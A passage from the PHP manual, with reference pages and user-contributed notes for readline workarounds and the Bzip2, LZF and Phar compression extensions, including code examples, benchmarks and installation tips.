Above I took what "christian at gaeking dot de" did and I upgraded it  a bit.  Rewrote it to my needs in the process.  I found one minor bug with what he was doing and I also improved on it....

The bug with what he had is that when you hit the keyboard "Return" key it takes that with the varible.  So if you type in 123 it takes  "123\n".  I needed to detect blank input so I purge off the "\n" on the end to fix it.

The Enhancement.  I added some options to the "read".  One is that if you optionally specify True for the second option on the ReadText function, it will NOT show what you type.  This is good for grabbing passwords.  Also I added -er to the options of "read".  "-e" allows for standard input coming from the terminal (I use this for shell scripts).  Also "-r" turns off the backslash incase you want that as part of your input.  This means you can not escape any thing while doing input.  Feel free to change the options though.  And finally I added the ability to prompt with the input.

<?php
  Function ReadText($Prompt,$Silent=False){
    $Options="-er";
    If($Silent==True){
      $Options=$Options." -s";
    }
    $Returned=POpen("read $Options -p \"$Prompt\"; echo \$REPLY","r");
    $TextEntered=FGets($Returned,100);
    PClose($Returned);
    $TextEntered=SubStr($TextEntered,0,StrLen($TextEntered)-1-1);
    If($Silent==True){
      Print "\n";
      @OB_Flush();
      Flush();
    }
    Return $TextEntered;
  }
?>
christian at gaeking dot de 22-Jan-2004 10:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
Glyn AT minimanga DOT com 08-Jan-2003 12:09
This is mentionned elsewhere on the site, but for those of you that got here by trial and error searching of function names, here's an important fact: this function is not available to windows users, but thankfully we can accomplish much the same thing.

function readline () {
$fp = fopen("php://stdin", "r");
$in = fgets($fp, 4094); // Maximum windows buffer size
fclose ($fp);

return $in;
}

$line = readline();

I appropriated this function from elsewhere on the site, but I feel it should be here to save the time of others like me. ;)

Here's a function for multi-line reading that I hacked up myself. Please forgive any obvious mistakes I make, as I am still a beginner.

function read ($stopchar) {
$fp = fopen("php://stdin", "r");
$in = fread($fp, 1); // Start the loop
$output = '';
while ($in != $stopchar)
{
    $output = $output.$in;
    $in = fread($fp, 1);
}
fclose ($fp);
return $output;
}

$lines = read(".");

This is a multi-line read function, a carriage return won't end this, as with fgets, but the $stopchar param. will. In the above example, you have to type a period followed by a carriage return to break out of the loop and get your input. The $stopchar is not included in the final output, but the last carriage return is. Both of these are simple to change to your needs.
don at undesigned dot org dot za 16-Feb-2002 09:46
This might help some of you a bit:

/* example for how to return console colours - same as normal console colours with chr(27) for ^[ - returns 0 to reset if null */

function cl($str = 0) {
  return (chr(27) . "[" . $str . "m");
}

/* check user input for readline() (uses $default if given), asks for it again if user input is null and $default not specified. */

function readline_add($str,$default = null) {
  for ($i = 0; $i < 1; $i++) {
    if ($default !== null) {
      $line = readline(cl("1;31") . $str . cl("1;37") . " [$default]: ");
      if (isset($line) && $line !== "") {
        readline_add_history($line); /* add history */
      } else {
        readline_add_history($default); /* add default to history */
      }
    } else {
      $line = readline(cl("1;31") . $str . cl("1;37") . ": ");
      if (isset($line) && $line !== "") {
        readline_add_history($line); /* add history */
      } else {
        $i -= 1; /* we -1 to repeat the query if input is null */
      }
    }
  }
}

readline_add("one"); /* $history[0] - if no input is given, it asks for it again */
readline_add("two","bla"); /* $history[1] - if no input is given it defaults to "bla" */

/* readline_list_history() returns an array so handle it how you wish */
$history = readline_list_history();

print "One: " . $history[0] . "\n";
print "Two: " . $history[1] . "\n";

print cl(); /* reset colours with 0 */
cox at idecnet dot com 03-Feb-2002 08:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox
readline_write_history
Compression and Archive Extensions
Readline Functions


Compression and Archive Extensions

  • Bzip2
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Bzip2 Functions
  • LZF
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • LZF Functions
  • Phar
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Using Phar Archives
    • Creating Phar Archives
    • What makes a phar a phar and not a tar or a zip?
    • Phar — The Phar class
    • PharData — The PharData class
    • PharFileInfo — The PharFileInfo class
    • PharException — The PharException class
  • Rar — Rar Archiving
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Rar Functions
    • RarArchive — The RarArchive class
    • RarEntry — The RarEntry class
    • RarException — The RarException class
  • Zip
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • ZipArchive — The ZipArchive class
    • Zip Functions
  • Zlib — Zlib Compression
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Zlib Functions

User Contributed Notes

There are no user contributed notes for this page.
readline
Bzip2
Function Reference


Bzip2

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Bzip2 Functions
    • bzclose — Close a bzip2 file
    • bzcompress — Compress a string into bzip2 encoded data
    • bzdecompress — Decompresses bzip2 encoded data
    • bzerrno — Returns a bzip2 error number
    • bzerror — Returns the bzip2 error number and error string in an array
    • bzerrstr — Returns a bzip2 error string
    • bzflush — Force a write of all buffered data
    • bzopen — Opens a bzip2 compressed file
    • bzread — Binary safe bzip2 file read
    • bzwrite — Binary safe bzip2 file write

User Contributed Notes

There are no user contributed notes for this page.
Compression and Archive Extensions
Introduction
Compression and Archive Extensions


Introduction

The bzip2 functions are used to transparently read and write bzip2 (.bz2) compressed files.

User Contributed Notes

There are no user contributed notes for this page.
Bzip2
Installing/Configuring
Bzip2


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Bzip2


Requirements

This module uses the functions of the » bzip2 library by Julian Seward. This module requires bzip2/libbzip2 version >= 1.0.x.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Bzip2 support in PHP is not enabled by default. You will need to use the --with-bz2[=DIR] configuration option when compiling PHP to enable bzip2 support.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

This extension defines one resource type: a file pointer identifying the bz2-file to work on.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Bzip2


Examples

This example opens a temporary file and writes a test string to it, then prints out the contents of the file.

Example #1 Small bzip2 Example

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// open file for writing
$bz = bzopen($filename, "w");

// write string to file
bzwrite($bz, $str);

// close file
bzclose($bz);

// open file for reading
$bz = bzopen($filename, "r");

// read 10 characters
echo bzread($bz, 10);

// output until end of the file (or the next 1024 char) and close it.
echo bzread($bz);

bzclose($bz);

?>

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Bzip2 Functions
Bzip2


Bzip2 Functions

Table of Contents

  • bzclose — Close a bzip2 file
  • bzcompress — Compress a string into bzip2 encoded data
  • bzdecompress — Decompresses bzip2 encoded data
  • bzerrno — Returns a bzip2 error number
  • bzerror — Returns the bzip2 error number and error string in an array
  • bzerrstr — Returns a bzip2 error string
  • bzflush — Force a write of all buffered data
  • bzopen — Opens a bzip2 compressed file
  • bzread — Binary safe bzip2 file read
  • bzwrite — Binary safe bzip2 file write

User Contributed Notes

ec10 at gmx dot net 20-May-2004 11:34
<?php
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc compressing the file with the bzip2-extension
*/
function bzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = fopen ($in, "rb");
    $out_file = bzopen ($out, "wb");

    while (!feof ($in_file)) {
        $buffer = fgets ($in_file, 4096);
         bzwrite ($out_file, $buffer, 4096);
    }

    fclose ($in_file);
    bzclose ($out_file);

    return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the bzip2-extension
*/
function bunzip2 ($in, $out)
{
    if (!file_exists ($in) || !is_readable ($in))
        return false;
    if ((!file_exists ($out) && !is_writeable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
        return false;

    $in_file = bzopen ($in, "rb");
    $out_file = fopen ($out, "wb");

    while ($buffer = bzread ($in_file, 4096)) {
        fwrite ($out_file, $buffer, 4096);
    }

    bzclose ($in_file);
    fclose ($out_file);

    return true;
}
?>
Examples
bzclose
Bzip2


Close a bzip2 file

Bzip2 Functions
bzcompress
Bzip2 Functions
PHP Manual

bzclose

(PHP 4 >= 4.0.4, PHP 5)

bzclose — Close a bzip2 file

Description

int bzclose ( resource $bz )

Closes the given bzip2 file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

There are no user contributed notes for this page.
Bzip2 Functions
bzcompress
Bzip2 Functions


Compress a string into bzip2 encoded data

bzclose
bzdecompress
Bzip2 Functions
PHP Manual

bzcompress

(PHP 4 >= 4.0.4, PHP 5)

bzcompress — Compress a string into bzip2 encoded data

Description

mixed bzcompress ( string $source [, int $blocksize = 4 [, int $workfactor = 0 ]] )

bzcompress() compresses the given string and returns it as bzip2 encoded data.

Parameters

source

The string to compress.

blocksize

Specifies the blocksize used during compression and should be a number from 1 to 9 with 9 giving the best compression, but using more resources to do so.

workfactor

Controls how the compression phase behaves when presented with worst case, highly repetitive, input data. The value can be between 0 and 250 with 0 being a special case.

Regardless of the workfactor, the generated output is the same.

Return Values

The compressed string, or an error number if an error occurred.

Examples

Example #1 Compressing data

<?php
$str = "sample data";
$bzstr = bzcompress($str, 9);
echo $bzstr;
?>

See Also

  • bzdecompress() - Decompresses bzip2 encoded data

User Contributed Notes

uprz23 at gmail dot com 24-Jun-2010 12:52
Comparing gzcompress/gzuncompress and bzcompress/bzdecompress, the bz combo is about 5x slower than gz.
diego a messenger do dsemmler do de 24-Apr-2009 03:01
The blocksize parameter tells bzip to use 100 000 Byte * blocksize blocks to compress the string. In the example above we can see the output size and time needed of bz[2] to bz[9] are nearly the same, because there ware just 189 058 Byte of data to compress and in this case bz[2] to bz[9] means "compress all data et once".
So we may notice a bigger difference in speed and compression rate with bigger files.

the workfactor parameter sets, how fast bzip switches in the slower fallback algorithm, if the standard algorithm gets problems with much repetitive data. 0 means, bzip uses the default value of 30. This option is recommend.

For more information about the parameter look at http://www.bzip.org/1.0.3/html/low-level.html#bzcompress-init
plasma 06-Sep-2008 10:39
Here is a benchmark comparing strengths of bzip and gzip compression:

gz[0] - 1.647ms - 189058 Byte (100%)
gz[1] - 3.333ms - 44572 Byte (23.58%)
gz[2] - 3.519ms - 42685 Byte (22.58%)
gz[3] - 4.713ms - 40840 Byte (21.6%)
gz[4] - 5.274ms - 39111 Byte (20.69%)
gz[5] - 6.526ms - 37039 Byte (19.59%)
gz[6] - 8.036ms - 36206 Byte (19.15%)
gz[7] - 9.098ms - 35940 Byte (19.01%)
gz[8] - 12.87ms - 35713 Byte (18.89%)
gz[9] - 14.319ms - 35707 Byte (18.89%)

bz[1] - 40.282ms - 32247 Byte (17.06%)
bz[2] - 43.716ms - 29690 Byte (15.7%)
bz[3] - 43.765ms - 29690 Byte (15.7%)
bz[4] - 44.213ms - 29690 Byte (15.7%)
bz[5] - 43.704ms - 29690 Byte (15.7%)
bz[6] - 43.814ms - 29690 Byte (15.7%)
bz[7] - 43.934ms - 29690 Byte (15.7%)
bz[8] - 43.725ms - 29690 Byte (15.7%)
bz[9] - 45.129ms - 29690 Byte (15.7%)
bzclose
bzdecompress
Bzip2 Functions


Decompresses bzip2 encoded data

bzcompress
bzerrno
Bzip2 Functions
PHP Manual

bzdecompress

(PHP 4 >= 4.0.4, PHP 5)

bzdecompress — Decompresses bzip2 encoded data

Description

mixed bzdecompress ( string $source [, int $small = 0 ] )

bzdecompress() decompresses the given string containing bzip2 encoded data.

Parameters

source

The string to decompress.

small

If TRUE, an alternative decompression algorithm will be used which uses less memory (the maximum memory requirement drops to around 2300K) but works at roughly half the speed.

See the » bzip2 documentation for more information about this feature.

Return Values

The decompressed string, or an error number if an error occurred.

Examples

Example #1 Decompressing a String

<?php
$start_str = "This is not an honest face?";
$bzstr = bzcompress($start_str);

echo "Compressed String: ";
echo $bzstr;
echo "\n<br />\n";

$str = bzdecompress($bzstr);
echo "Decompressed String: ";
echo $str;
echo "\n<br />\n";
?>

See Also

  • bzcompress() - Compress a string into bzip2 encoded data

User Contributed Notes

balint * atres / ath / cx 10-Jan-2006 05:02
I spent a while to sort out some integer results of the bzdecompress, so maybe it'll be useful for somebody else also...
(Constants from the sources.)

#define BZ_OK                0
#define BZ_RUN_OK            1
#define BZ_FLUSH_OK          2
#define BZ_FINISH_OK         3
#define BZ_STREAM_END        4
#define BZ_SEQUENCE_ERROR    (-1)
#define BZ_PARAM_ERROR       (-2)
#define BZ_MEM_ERROR         (-3)
#define BZ_DATA_ERROR        (-4)
#define BZ_DATA_ERROR_MAGIC  (-5)
#define BZ_IO_ERROR          (-6)
#define BZ_UNEXPECTED_EOF    (-7)
#define BZ_OUTBUFF_FULL      (-8)
#define BZ_CONFIG_ERROR      (-9)
bzcompress
bzerrno
Bzip2 Functions


Returns a bzip2 error number

bzdecompress
bzerror
Bzip2 Functions
PHP Manual

bzerrno

(PHP 4 >= 4.0.4, PHP 5)

bzerrno — Returns a bzip2 error number

Description

int bzerrno ( resource $bz )

Returns the error number of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns the error number as an integer.

See Also

  • bzerror() - Returns the bzip2 error number and error string in an array
  • bzerrstr() - Returns a bzip2 error string

User Contributed Notes

There are no user contributed notes for this page.
bzdecompress
bzerror
Bzip2 Functions


Returns the bzip2 error number and error string in an array

bzerrno
bzerrstr
Bzip2 Functions
PHP Manual

bzerror

(PHP 4 >= 4.0.4, PHP 5)

bzerror — Returns the bzip2 error number and error string in an array

Description

array bzerror ( resource $bz )

Returns the error number and error string of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns an associative array, with the error code in the errno entry, and the error message in the errstr entry.

Examples

Example #1 bzerror() example

<?php
$error = bzerror($bz);

echo $error["errno"];
echo $error["errstr"];
?>

See Also

  • bzerrno() - Returns a bzip2 error number
  • bzerrstr() - Returns a bzip2 error string

User Contributed Notes

There are no user contributed notes for this page.
bzerrno
bzerrstr
Bzip2 Functions


Returns a bzip2 error string

bzerror
bzflush
Bzip2 Functions
PHP Manual

bzerrstr

(PHP 4 >= 4.0.4, PHP 5)

bzerrstr — Returns a bzip2 error string

Description

string bzerrstr ( resource $bz )

Gets the error string of any bzip2 error returned by the given file pointer.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns a string containing the error message.

See Also

  • bzerrno() - Returns a bzip2 error number
  • bzerror() - Returns the bzip2 error number and error string in an array

User Contributed Notes

There are no user contributed notes for this page.
bzerror
bzflush
Bzip2 Functions


Force a write of all buffered data

bzerrstr
bzopen
Bzip2 Functions
PHP Manual

bzflush

(PHP 4 >= 4.0.4, PHP 5)

bzflush — Force a write of all buffered data

Description

int bzflush ( resource $bz )

Forces a write of all buffered bzip2 data for the file pointer bz.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • bzread() - Binary safe bzip2 file read
  • bzwrite() - Binary safe bzip2 file write

User Contributed Notes

There are no user contributed notes for this page.
bzerrstr
bzopen
Bzip2 Functions


Opens a bzip2 compressed file

bzflush
bzread
Bzip2 Functions
PHP Manual

bzopen

(PHP 4 >= 4.0.4, PHP 5)

bzopen — Opens a bzip2 compressed file

Description

resource bzopen ( string $filename , string $mode )

bzopen() opens a bzip2 (.bz2) file for reading or writing.

Parameters

filename

The name of the file to open.

mode

Similar to the fopen() function, only 'r' (read) and 'w' (write) are supported. Everything else will cause bzopen to return FALSE.

Return Values

If the open fails, bzopen() returns FALSE, otherwise it returns a pointer to the newly opened file.

Examples

Example #1 bzopen() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");

bzclose($bz);

?>

See Also

  • bzclose() - Close a bzip2 file

User Contributed Notes

KrazyBox 30-Dec-2008 05:44
In some circumstances, you may want to send a bzip2 stream to the client.

To do this, you need only do:

<?php
ob_flush();
$bz = bzopen('php://stdout', 'w');
bzwrite($bz, 'some input here');
bzclose($bz);
?>

However, please note, because you are using STDOUT, you need to ob_flush() before actually writing to the stream. Otherwise, you might be sending data before the headers, which will cause errors on both server and client ends, in most cases.

You might be able to use php://output rather than php://stdout, however in my tests (with Linux), php://output doesn't actually work - at all.
Jille at quis dot cx dot spam dot to dot my dot devnull 19-Mar-2008 01:11
Warning!

the example show above is _not_ working in every case!
This example will continue reading until there is no more data:

<?PHP
      $bz=bzopen('foo.bz2', 'r');
      $data="";
      do {
        $line=bzread($bz, 8092);
        if($line!==false)
          $data.=$line;
      }
      while($line);
      bzclose($bz);
?>
bzflush
bzread
Bzip2 Functions


Binary safe bzip2 file read

bzopen
bzwrite
Bzip2 Functions
PHP Manual

bzread

(PHP 4 >= 4.0.4, PHP 5)

bzread — Binary safe bzip2 file read

Description

string bzread ( resource $bz [, int $length = 1024 ] )

bzread() reads from the given bzip2 file pointer.

Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

length

If not specified, bzread() will read 1024 (uncompressed) bytes at a time. A maximum of 8192 uncompressed bytes will be read at a time.

Return Values

Returns the uncompressed data, or FALSE on error.

Examples

Example #1 bzread() example

<?php

$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file");

$decompressed_file = '';
while (!feof($bz)) {
  $decompressed_file .= bzread($bz, 4096);
}
bzclose($bz);

echo "The contents of $file are: <br />\n";
echo $decompressed_file;

?>

See Also

  • bzwrite() - Binary safe bzip2 file write
  • feof() - Tests for end-of-file on a file pointer
  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

There are no user contributed notes for this page.
bzopen
bzwrite
Bzip2 Functions


Binary safe bzip2 file write

bzread
LZF
Bzip2 Functions
PHP Manual

bzwrite

(PHP 4 >= 4.0.4, PHP 5)

bzwrite — Binary safe bzip2 file write

Description

int bzwrite ( resource $bz , string $data [, int $length ] )

bzwrite() writes a string into the given bzip2 file stream.

Parameters

bz

The file pointer. It must be valid and must point to a file successfully opened by bzopen().

data

The written data.

length

If supplied, writing will stop after length (uncompressed) bytes have been written or the end of data is reached, whichever comes first.

Return Values

Returns the number of bytes written, or FALSE on error.

Examples

Example #1 bzwrite() example

<?php
$str = "uncompressed data";
$bz = bzopen("/tmp/foo.bz2", "w");
bzwrite($bz, $str, strlen($str));
bzclose($bz);
?>

See Also

  • bzread() - Binary safe bzip2 file read
  • bzopen() - Opens a bzip2 compressed file

User Contributed Notes

There are no user contributed notes for this page.
bzread
LZF
Bzip2 Functions


LZF

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • LZF Functions
    • lzf_compress — LZF compression
    • lzf_decompress — LZF decompression
    • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

There are no user contributed notes for this page.
bzwrite
Introduction
Compression and Archive Extensions


Introduction

LZF is a very fast compression algorithm, ideal for saving space with only slight speed cost. It can be optimized for speed or space at the time of compilation. This extension is using » liblzf library by Marc Lehmann for its operations.

User Contributed Notes

There are no user contributed notes for this page.
LZF
Installing/Configuring
LZF


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
LZF


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/lzf.

In order to use these functions you must compile PHP with lzf support by using the --with-lzf[=DIR] configure option. You may also pass --enable-lzf-better-compression to optimize LZF for space rather than speed.

Windows users will enable php_lzf.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
LZF Functions
LZF


LZF Functions

Table of Contents

  • lzf_compress — LZF compression
  • lzf_decompress — LZF decompression
  • lzf_optimized_for — Determines what LZF extension was optimized for

User Contributed Notes

grenier at cgsecurity dot org 06-Sep-2005 01:39
To install lzf, you can use

gunzip lzf-xxx.tgz
tar -xvf lzf-xxx.tar
cd lzf-xxx
phpize
./configure && make && make install
Predefined Constants
lzf_compress
LZF


LZF compression

LZF Functions
lzf_decompress
LZF Functions
PHP Manual

lzf_compress

(PECL lzf >= 0.1.0)

lzf_compress — LZF compression

Description

string lzf_compress ( string $data )

lzf_compress() compresses the given data string using LZF encoding.

Parameters

data

The string to compress.

Return Values

Returns the compressed data or FALSE if an error occurred.

See Also

  • lzf_decompress() - LZF decompression

User Contributed Notes

There are no user contributed notes for this page.
LZF Functions
lzf_decompress
LZF Functions


LZF decompression

lzf_compress
lzf_optimized_for
LZF Functions
PHP Manual

lzf_decompress

(PECL lzf >= 0.1.0)

lzf_decompress — LZF decompression

Description

string lzf_decompress ( string $data )

lzf_compress() decompresses the given data string containing lzf encoded data.

Parameters

data

The compressed string.

Return Values

Returns the decompressed data or FALSE if an error occurred.

See Also

  • lzf_compress() - LZF compression

User Contributed Notes

There are no user contributed notes for this page.
lzf_compress
lzf_optimized_for
LZF Functions


Determines what LZF extension was optimized for

lzf_decompress
Phar
LZF Functions
PHP Manual

lzf_optimized_for

(PECL lzf >= 1.0.0)

lzf_optimized_for — Determines what LZF extension was optimized for

Description

int lzf_optimized_for ( void )

Determines what was LZF extension optimized for during compilation.

Return Values

Returns 1 if LZF was optimized for speed, 0 for compression.

User Contributed Notes

There are no user contributed notes for this page.
lzf_decompress
Phar
LZF Functions


Phar

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Using Phar Archives
    • Using Phar Archives: Introduction
    • Using Phar Archives: the phar stream wrapper
    • Using Phar Archives: the Phar and PharData class
  • Creating Phar Archives
    • Creating Phar Archives: Introduction
  • What makes a phar a phar and not a tar or a zip?
    • Ingredients of all Phar archives, independent of file format
    • Phar file stub
    • Head-to-head comparison of Phar, Tar and Zip
    • Tar-based phars
    • Zip-based phars
    • Phar File Format
    • Global Phar bitmapped flags
    • Phar manifest file entry definition
    • Phar Signature format
  • Phar — The Phar class
    • Phar::addEmptyDir — Add an empty directory to the phar archive
    • Phar::addFile — Add a file from the filesystem to the phar archive
    • Phar::addFromString — Add a file from the filesystem to the phar archive
    • Phar::apiVersion — Returns the api version
    • Phar::buildFromDirectory — Construct a phar archive from the files within a directory.
    • Phar::buildFromIterator — Construct a phar archive from an iterator.
    • Phar::canCompress — Returns whether phar extension supports compression using either zlib or bzip2
    • Phar::canWrite — Returns whether phar extension supports writing and creating phars
    • Phar::compress — Compresses the entire Phar archive using Gzip or Bzip2 compression
    • Phar::compressAllFilesBZIP2 — Compresses all files in the current Phar archive using Bzip2 compression
    • Phar::compressAllFilesGZ — Compresses all files in the current Phar archive using Gzip compression
    • Phar::compressFiles — Compresses all files in the current Phar archive
    • Phar::__construct — Construct a Phar archive object
    • Phar::convertToData — Convert a phar archive to a non-executable tar or zip file
    • Phar::convertToExecutable — Convert a phar archive to another executable phar archive file format
    • Phar::copy — Copy a file internal to the phar archive to another new file within the phar
    • Phar::count — Returns the number of entries (files) in the Phar archive
    • Phar::createDefaultStub — Create a phar-file format specific stub
    • Phar::decompress — Decompresses the entire Phar archive
    • Phar::decompressFiles — Decompresses all files in the current Phar archive
    • Phar::delMetadata — Deletes the global metadata of the phar
    • Phar::delete — Delete a file within a phar archive
    • Phar::extractTo — Extract the contents of a phar archive to a directory
    • Phar::getMetadata — Returns phar archive meta-data
    • Phar::getModified — Return whether phar was modified
    • Phar::getSignature — Return MD5/SHA1/SHA256/SHA512/OpenSSL signature of a Phar archive
    • Phar::getStub — Return the PHP loader or bootstrap stub of a Phar archive
    • Phar::getSupportedCompression — Return array of supported compression algorithms
    • Phar::getSupportedSignatures — Return array of supported signature types
    • Phar::getVersion — Return version info of Phar archive
    • Phar::hasMetadata — Returns whether phar has global meta-data
    • Phar::interceptFileFuncs — instructs phar to intercept fopen, file_get_contents, opendir, and all of the stat-related functions
    • Phar::isBuffering — Used to determine whether Phar write operations are being buffered, or are flushing directly to disk
    • Phar::isCompressed — Returns Phar::GZ or PHAR::BZ2 if the entire phar archive is compressed (.tar.gz/tar.bz and so on)
    • Phar::isFileFormat — Returns true if the phar archive is based on the tar/phar/zip file format depending on the parameter
    • Phar::isValidPharFilename — Returns whether the given filename is a valid phar filename
    • Phar::isWritable — Returns true if the phar archive can be modified
    • Phar::loadPhar — Loads any phar archive with an alias
    • Phar::mapPhar — Reads the currently executed file (a phar) and registers its manifest
    • Phar::mount — Mount an external path or file to a virtual location within the phar archive
    • Phar::mungServer — Defines a list of up to 4 $_SERVER variables that should be modified for execution
    • Phar::offsetExists — determines whether a file exists in the phar
    • Phar::offsetGet — Gets a PharFileInfo object for a specific file
    • Phar::offsetSet — set the contents of an internal file to those of an external file
    • Phar::offsetUnset — remove a file from a phar
    • Phar::running — Returns the full path on disk or full phar URL to the currently executing Phar archive
    • Phar::setAlias — Set the alias for the Phar archive
    • Phar::setDefaultStub — Used to set the PHP loader or bootstrap stub of a Phar archive to the default loader
    • Phar::setMetadata — Sets phar archive meta-data
    • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it.
    • Phar::setStub — Used to set the PHP loader or bootstrap stub of a Phar archive
    • Phar::startBuffering — Start buffering Phar write operations, do not modify the Phar object on disk
    • Phar::stopBuffering — Stop buffering write requests to the Phar archive, and save changes to disk
    • Phar::uncompressAllFiles — Uncompresses all files in the current Phar archive
    • Phar::unlinkArchive — Completely remove a phar archive from disk and from memory
    • Phar::webPhar — mapPhar for web-based phars. front controller for web applications
  • PharData — The PharData class
    • PharData::addEmptyDir — Add an empty directory to the tar/zip archive
    • PharData::addFile — Add a file from the filesystem to the tar/zip archive
    • PharData::addFromString — Add a file from the filesystem to the tar/zip archive
    • PharData::buildFromDirectory — Construct a tar/zip archive from the files within a directory.
    • PharData::buildFromIterator — Construct a tar or zip archive from an iterator.
    • PharData::compress — Compresses the entire tar/zip archive using Gzip or Bzip2 compression
    • PharData::compressFiles — Compresses all files in the current tar/zip archive
    • PharData::__construct — Construct a non-executable tar or zip archive object
    • PharData::convertToData — Convert a phar archive to a non-executable tar or zip file
    • PharData::convertToExecutable — Convert a non-executable tar/zip archive to an executable phar archive
    • PharData::copy — Copy a file internal to the phar archive to another new file within the phar
    • PharData::decompress — Decompresses the entire Phar archive
    • PharData::decompressFiles — Decompresses all files in the current zip archive
    • PharData::delMetadata — Deletes the global metadata of a zip archive
    • PharData::delete — Delete a file within a tar/zip archive
    • PharData::extractTo — Extract the contents of a tar/zip archive to a directory
    • PharData::isWritable — Returns true if the tar/zip archive can be modified
    • PharData::offsetSet — set the contents of a file within the tar/zip to those of an external file or string
    • PharData::offsetUnset — remove a file from a tar/zip archive
    • PharData::setAlias — dummy function (Phar::setAlias is not valid for PharData)
    • PharData::setDefaultStub — dummy function (Phar::setDefaultStub is not valid for PharData)
    • Phar::setMetadata — Sets phar archive meta-data
    • Phar::setSignatureAlgorithm — set the signature algorithm for a phar and apply it. The
    • PharData::setStub — dummy function (Phar::setStub is not valid for PharData)
  • PharFileInfo — The PharFileInfo class
    • PharFileInfo::chmod — Sets file-specific permission bits
    • PharFileInfo::compress — Compresses the current Phar entry with either zlib or bzip2 compression
    • PharFileInfo::__construct — Construct a Phar entry object
    • PharFileInfo::decompress — Decompresses the current Phar entry within the phar
    • PharFileInfo::delMetadata — Deletes the metadata of the entry
    • PharFileInfo::getCRC32 — Returns CRC32 code or throws an exception if CRC has not been verified
    • PharFileInfo::getCompressedSize — Returns the actual size of the file (with compression) inside the Phar archive
    • PharFileInfo::getMetadata — Returns file-specific meta-data saved with a file
    • PharFileInfo::getPharFlags — Returns the Phar file entry flags
    • PharFileInfo::hasMetadata — Returns the metadata of the entry
    • PharFileInfo::isCRCChecked — Returns whether file entry has had its CRC verified
    • PharFileInfo::isCompressed — Returns whether the entry is compressed
    • PharFileInfo::isCompressedBZIP2 — Returns whether the entry is compressed using bzip2
    • PharFileInfo::isCompressedGZ — Returns whether the entry is compressed using gz
    • PharFileInfo::setCompressedBZIP2 — Compresses the current Phar entry within the phar using Bzip2 compression
    • PharFileInfo::setCompressedGZ — Compresses the current Phar entry within the phar using gz compression
    • PharFileInfo::setMetadata — Sets file-specific meta-data saved with a file
    • PharFileInfo::setUncompressed — Uncompresses the current Phar entry within the phar, if it is compressed
  • PharException — The PharException class
    • PharException — The PharException class provides a phar-specific exception class for try/catch blocks.

User Contributed Notes

bohwaz 21-Nov-2011 02:43
If you get blank pages when trying to access a phar web-page, then you probably have Suhosin on your PHP (like in Debian and Ubuntu), and you need to ad this to your php.ini to allow execution of PHAR archives :

suhosin.executor.include.whitelist="phar"
lzf_optimized_for
Introduction
Compression and Archive Extensions


Introduction

